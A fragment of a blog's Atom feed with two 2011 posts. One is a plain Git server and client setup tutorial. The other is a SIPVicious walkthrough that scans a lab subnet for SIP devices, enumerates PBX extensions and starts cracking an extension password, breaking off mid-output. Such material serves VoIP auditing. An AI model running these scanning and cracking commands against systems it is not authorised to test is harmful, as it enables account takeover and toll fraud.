width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3152879559065474295.post-7027369288184407711</id><published>2011-10-14T11:10:00.000-07:00</published><updated>2011-10-19T09:01:24.402-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Git'/><category scheme='http://www.blogger.com/atom/ns#' term='Training'/><category scheme='http://www.blogger.com/atom/ns#' term='Research'/><category scheme='http://www.blogger.com/atom/ns#' term='Manuals'/><title type='text'>Git - Fast Version Control System</title><content type='html'>&lt;b&gt;Git - (Wikipedia)&lt;br /&gt;&lt;br /&gt;Git&lt;/b&gt; is a &lt;a href="http://en.wikipedia.org/wiki/Distributed_revision_control_system"&gt;distributed revision control system&lt;/a&gt; with an emphasis on speed.&lt;a href="http://en.wikipedia.org/wiki/Git_%28software%29#cite_note-3"&gt;[4]&lt;/a&gt; Git was initially designed and developed by &lt;a href="http://en.wikipedia.org/wiki/Linus_Torvalds"&gt;Linus Torvalds&lt;/a&gt; for &lt;a href="http://en.wikipedia.org/wiki/Linux_kernel"&gt;Linux kernel&lt;/a&gt; development. Every Git &lt;a href="http://en.wikipedia.org/wiki/Working_directory"&gt;working directory&lt;/a&gt; is a full-fledged &lt;a href="http://en.wikipedia.org/wiki/Repository_%28version_control%29"&gt;repository&lt;/a&gt; with complete history and full revision tracking capabilities, not dependent on network access or a central server. Git's current &lt;a href="http://en.wikipedia.org/wiki/Software_maintenance"&gt;software maintenance&lt;/a&gt; is overseen by Junio Hamano. Git is &lt;a href="http://en.wikipedia.org/wiki/Free_software"&gt;free software&lt;/a&gt; distributed under the terms of the &lt;a href="http://en.wikipedia.org/wiki/GNU_General_Public_License"&gt;GNU General Public License&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Proceeding to Install&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;style type="text/css"&gt; &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;p style="margin-bottom: 0in;"&gt;&lt;span lang="en"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;span lang="en"&gt;The process was tested in:&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;b&gt;Operating system:&lt;/b&gt; Ubuntu 11.04, Debian 6, Slackware 13.37&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Install git server:&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;b&gt;Step 1&lt;/b&gt; "Install git software" &lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;b&gt;&lt;span lang="en"&gt;Slackware installation:&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; font-weight: normal"&gt;&lt;span lang="en"&gt;&lt;b&gt;Note 1: &lt;/b&gt;&lt;/span&gt;&lt;span lang="en"&gt;In slackware, you can use: &lt;span style="font-weight: bold;"&gt;slackpkg&lt;/span&gt;, &lt;span style="font-weight: bold;"&gt;slapt-get&lt;/span&gt; or search in the official repository.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: normal"&gt;&lt;span lang="en"&gt;so ...&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;b&gt;&lt;span lang="en"&gt;slackpkg: &lt;/span&gt;&lt;/b&gt; &lt;/p&gt;  &lt;p style="margin-bottom: 0in; font-weight: normal; color: rgb(204, 0, 0);"&gt;&lt;span lang="en"&gt;#slackpkg search git&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: normal; color: rgb(0, 102, 0);"&gt;&lt;span lang="en"&gt;[ ininstalled ] - git-1.7.4.4-x86_64-1&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: normal; color: rgb(204, 0, 0);"&gt;&lt;span lang="en"&gt;#slackpkg install git-1.7.4.4-x86_64-1&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: normal"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;b&gt;&lt;span lang="en"&gt;slapt-get:&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; font-weight: normal; color: rgb(204, 0, 0);"&gt;&lt;span lang="en"&gt;#slapt-get --search git&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: normal; color: rgb(0, 102, 0);"&gt;&lt;span lang="en"&gt;git-1.7.4.4-x86_64-1 [inst=no: git (the stupid content tracker)&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: normal; color: rgb(204, 0, 0);"&gt;&lt;span lang="en"&gt;#slapt-get –install git-1.7.4.4-x86_64-1&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: normal"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;b&gt;&lt;span lang="en"&gt;from offical repository:&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; font-weight: normal"&gt;&lt;span lang="en"&gt;Download package and:&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; font-weight: normal; color: rgb(204, 0, 0);"&gt;&lt;span lang="en"&gt;#installpkg  git-1.7.4.4-x86_64-1.txz&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(0, 0, 0);"&gt;&lt;b&gt;&lt;span lang="en"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; color: rgb(0, 0, 0);"&gt;&lt;b&gt;&lt;span lang="en"&gt;Ubuntu or Debian  installation:&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;#apt-get install git-core&lt;/p&gt;  &lt;p style="margin-bottom: 0in;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;b&gt;Step 2&lt;/b&gt; “Create the git user in the Linux system ”&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;#useradd -m git&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;b&gt;Step 3 &lt;/b&gt;“Log in as git in the linux system ”&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;#su – git&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;b&gt;Step 4 &lt;/b&gt;“Create our work directory ”&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;b&gt;Note 0:&lt;/b&gt; In this case we use gittest.git, as our demo work directory   &lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;#mkdir gittest.git&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;b&gt;Step 5  &lt;/b&gt;“Create our work repository ”&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;#cd gittest.git&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;#git –bare init&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;Now our git server is ready to use.  &lt;/p&gt; &lt;p&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Git -  Linux client configuration&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: normal"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; font-weight: normal"&gt;&lt;span lang="en"&gt;The process was tested in:&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; font-weight: normal"&gt;&lt;span lang="en"&gt;&lt;b&gt;Operatin System: &lt;/b&gt;&lt;/span&gt;&lt;span lang="en"&gt;Ubuntu 11.04, Debian 6, Slackware 13.37&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: normal"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;b&gt;&lt;span lang="en"&gt;Slackware installation:&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; font-weight: normal"&gt;&lt;span lang="en"&gt;&lt;b&gt;Note 1: &lt;/b&gt;&lt;/span&gt;&lt;span lang="en"&gt;In slackware, you can use: &lt;span style="font-weight: bold;"&gt;slackpkg&lt;/span&gt;, &lt;span style="font-weight: bold;"&gt;slapt-get&lt;/span&gt; or search in the official repository.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: normal"&gt;&lt;span lang="en"&gt;so ...&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;b&gt;&lt;span lang="en"&gt;slackpkg: &lt;/span&gt;&lt;/b&gt; &lt;/p&gt;  &lt;p style="margin-bottom: 0in; font-weight: normal; color: rgb(204, 0, 0);"&gt;&lt;span lang="en"&gt;#slackpkg search git&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: normal; color: rgb(0, 102, 0);"&gt;&lt;span lang="en"&gt;[ ininstalled ] - git-1.7.4.4-x86_64-1&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: normal; color: rgb(204, 0, 0);"&gt;&lt;span lang="en"&gt;#slackpkg install git-1.7.4.4-x86_64-1&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: normal"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;b&gt;&lt;span lang="en"&gt;slapt-get:&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; font-weight: normal; color: rgb(204, 0, 0);"&gt;&lt;span lang="en"&gt;#slapt-get --search git&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: normal; color: rgb(0, 102, 0);"&gt;&lt;span lang="en"&gt;git-1.7.4.4-x86_64-1 [inst=no: git (the stupid content tracker)&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: normal; color: rgb(204, 0, 0);"&gt;&lt;span lang="en"&gt;#slapt-get –install git-1.7.4.4-x86_64-1&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: normal"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;b&gt;&lt;span lang="en"&gt;from offical repository:&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; font-weight: normal"&gt;&lt;span lang="en"&gt;Download package and:&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; font-weight: normal; color: rgb(204, 0, 0);"&gt;&lt;span lang="en"&gt;#installpkg  git-1.7.4.4-x86_64-1.txz&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: normal"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;b&gt;&lt;span lang="en"&gt;Ubuntu or Debian installation:&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;span style="color: rgb(204, 0, 0);"&gt; &lt;/span&gt; &lt;p style="margin-bottom: 0in; font-weight: normal; color: rgb(204, 0, 0);"&gt;&lt;span lang="en"&gt;#apt-get install git-core&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: normal"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: normal"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: normal"&gt;&lt;span lang="en"&gt;&lt;b&gt;Git &lt;/b&gt;&lt;/span&gt;&lt;span lang="en"&gt;works through ssh, so..  you can use ssh keys to authenticate without a password,  or you can use a password simply.  Remember change the git user password in server.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }   A:link { so-language: zxx }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;&lt;span lang="en"&gt;Some git client commands&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: normal"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: normal;"&gt;&lt;span lang="en"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: normal; font-style: italic;"&gt;&lt;span lang="en"&gt;Get copies from repository:&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; font-weight: normal; color: rgb(204, 0, 0);"&gt;&lt;span lang="en"&gt;$git clone ssh:&lt;a href="mailto://git@192.168.1.100"&gt;//git@192.168.1.100&lt;/a&gt;:22/~/gittest.git&lt;/span&gt;&lt;/p&gt;   &lt;p style="margin-bottom: 0in; font-weight: normal;"&gt;&lt;span lang="en"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: normal; font-style: italic;"&gt;&lt;span lang="en"&gt;Add file to repository:&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; font-weight: normal; color: rgb(204, 0, 0);"&gt;&lt;span lang="en"&gt;$echo “Mi first file” &amp;gt; file.txt&lt;/span&gt;&lt;/p&gt;&lt;span style="color: rgb(204, 0, 0);"&gt; &lt;/span&gt;&lt;p style="margin-bottom: 0in; font-weight: normal; color: rgb(204, 0, 0);"&gt;&lt;span lang="en"&gt;$git add file.txt&lt;/span&gt;&lt;/p&gt;&lt;span style="color: rgb(204, 0, 0);"&gt; &lt;/span&gt;&lt;p style="margin-bottom: 0in; font-weight: normal; color: rgb(204, 0, 0);"&gt;&lt;span lang="en"&gt;$git commit -a -m “My first commint”&lt;/span&gt;&lt;/p&gt;&lt;span style="color: rgb(204, 0, 0);"&gt; &lt;/span&gt;&lt;p style="margin-bottom: 0in; font-weight: normal; color: rgb(204, 0, 0);"&gt;&lt;span lang="en"&gt;$git push origin master&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: normal"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: normal; font-style: italic;"&gt;&lt;span lang="en"&gt;Update repository:&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; font-weight: normal; color: rgb(204, 0, 0);"&gt;&lt;span lang="en"&gt;$git pull origin master&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: normal"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: normal; font-style: italic;"&gt;&lt;span lang="en"&gt;Check logs:&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: normal; color: rgb(204, 0, 0);"&gt;&lt;span lang="en"&gt;$git log&lt;/span&gt; &lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: normal"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: normal; font-style: italic;"&gt;&lt;span lang="en"&gt;Back to previous version, in  case of error:&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; font-weight: normal; color: rgb(204, 0, 0);"&gt;&lt;span lang="en"&gt;$git log&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; font-weight: normal"&gt;&lt;span lang="en"&gt;so ...&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: normal" lang="en"&gt;&lt;a name="result_box2"&gt;&lt;/a&gt; Search the ID number to return to the previous version&lt;/p&gt;  &lt;p style="margin-bottom: 0in; font-weight: normal; color: rgb(204, 0, 0);" lang="en"&gt;$git checkout ID&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: normal" lang="en"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: normal;"&gt;&lt;span lang="en"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: normal"&gt;&lt;span lang="en"&gt;that is all &lt;/span&gt; &lt;/p&gt;  &lt;p style="margin-bottom: 0in; font-weight: normal"&gt;&lt;span lang="en"&gt;thks !&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: normal;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;&lt;span id="result_box" class="short_text" lang="en"&gt;&lt;span class="hps"&gt;Bibliography&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;http://git-scm.com/&lt;br /&gt;&lt;span lang="en"&gt;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;span lang="en"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;span lang="en"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3152879559065474295-7027369288184407711?l=x1nux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x1nux.blogspot.com/feeds/7027369288184407711/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://x1nux.blogspot.com/2011/10/git-fast-version-control-sistem.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/7027369288184407711'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/7027369288184407711'/><link rel='alternate' type='text/html' href='http://x1nux.blogspot.com/2011/10/git-fast-version-control-sistem.html' title='Git - Fast Version Control System'/><author><name>x1nux</name><uri>http://www.blogger.com/profile/16559278325370614240</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3152879559065474295.post-6044909306754337966</id><published>2011-10-12T18:33:00.000-07:00</published><updated>2011-10-19T09:01:43.147-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Training'/><category scheme='http://www.blogger.com/atom/ns#' term='SIPVicious'/><category scheme='http://www.blogger.com/atom/ns#' term='Research'/><category scheme='http://www.blogger.com/atom/ns#' term='Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Manuals'/><category scheme='http://www.blogger.com/atom/ns#' term='Cracking'/><title type='text'>SIPVicious tool suite</title><content type='html'>&lt;h1&gt;What is SIPVicious tool suite?&lt;/h1&gt;&lt;p&gt;SIPVicious suite is a set of tools that can be used to audit SIP based VoIP systems.  It currently consists of four tools: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;svmap - this is a sip scanner. Lists SIP devices found on an IP range &lt;/li&gt;&lt;li&gt;svwar - identifies active extensions on a PBX &lt;/li&gt;&lt;li&gt;svcrack - an online password cracker for SIP PBX &lt;/li&gt;&lt;li&gt;svreport - manages sessions and exports reports to various formats &lt;/li&gt;&lt;li&gt;svcrash - attempts to stop unauthorized svwar and svcrack scans &lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;h1&gt;Requirements&lt;/h1&gt;&lt;h2&gt;&lt;a name="Python"&gt;&lt;/a&gt;Python&lt;/h2&gt;&lt;p&gt;SIPVicious works on any system that supports python 2.4 or greater. &lt;/p&gt;&lt;h2&gt;&lt;a name="Operating_System"&gt;&lt;/a&gt;Operating System&lt;/h2&gt;&lt;p&gt;It was tested on the following systems: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;Linux &lt;/li&gt;&lt;li&gt;Mac OS X &lt;/li&gt;&lt;li&gt;Windows &lt;/li&gt;&lt;li&gt;FreeBSD 6.2 &lt;/li&gt;&lt;li&gt;Jailbroken iPhone with python installed &lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;GettingStarted&lt;/h2&gt;I'll assume that your network is on the 192.168.1.0 subnet from now on, and our asterisk server is 192.168.1.100, so ...&lt;br /&gt;&lt;br /&gt;First run &lt;span style="font-weight: bold;"&gt;svmap.py&lt;/span&gt; against your subnet to find your Asterisk box:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;user@box$./svmap.py 192.168.1.1/24&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span id="result_box" class="short_text" lang="en"&gt;&lt;span class="hps"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span id="result_box" class="short_text" lang="en"&gt;&lt;span class="hps"&gt;This command&lt;/span&gt; &lt;span class="hps"&gt;will find, our asterisk server.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;pre class="prettyprint"&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;|&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt; SIP &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="typ"&gt;Device&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt;         &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;|&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="typ"&gt;User&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="typ"&gt;Agent&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt;   &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;|&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;-------------------------------------&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;|&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="lit"&gt;192.168&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="lit"&gt;1.100&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="lit"&gt;5060&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;|&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="typ"&gt;Asterisk&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt; PBX &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;|&lt;/span&gt;&lt;span class="pln"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;You should get results similar to the above.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To identify the extensions in our asterisk server, you can use the following command:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;user@box$./svwar.py 192.168.1.100&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="prettyprint"&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;|&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="typ"&gt;Extension&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;|&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="typ"&gt;Authentication&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;|&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;-------------------------------&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;|&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="lit"&gt;1000&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt;       &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;|&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt; reqauth        &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;|&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;|&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt; 1001&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="lit"&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt;       &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;|&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt; reqauth        &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;|&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;|&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="lit"&gt;1002&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt;       &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;|&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt; noauth         &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;|&lt;/span&gt;&lt;span class="pln"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;As you can see, extension 1002 does not require authentication. Finally  to crack the password for 100, we just run the following command:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;user@box$./svcrack.py 192.168.1.100 -u 1002&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="prettyprint"&gt;&lt;span style="color: rgb(0, 102, 0);" class="pun"&gt;|&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);" class="pln"&gt; 